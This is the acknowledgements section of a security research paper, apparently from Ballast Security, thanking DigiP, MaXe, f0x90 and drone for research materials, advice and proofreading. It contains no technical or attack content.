First off, I need to thank DigiP and MaXe. Just like the first part, they have shown me invaluable research materials that I would of never got on my own. I do realize that some of my techniques have existed before this paper, but I did not learn the castration method from anyone else as much as it is just common sense. I have to thank f0x90, who helped keep the spark of knowledge alive for so long, basically since the beginning when I was taking apart the MD5 algorithm. I would also like to thank drone(@dronesec) for help with research and proofreading. He is an irreplaceable part of Ballast Security. Finally, I would like to thank everyone along the line who has inspired me to be a better programmer, problem solver, and penetration tester.

5.1.3 Thank you to MaXe

A special thanks to MaXe, who helped with the creation of this paper. You took time to give us advice even with your crazy schedule. Hopefully we can get more help for future papers.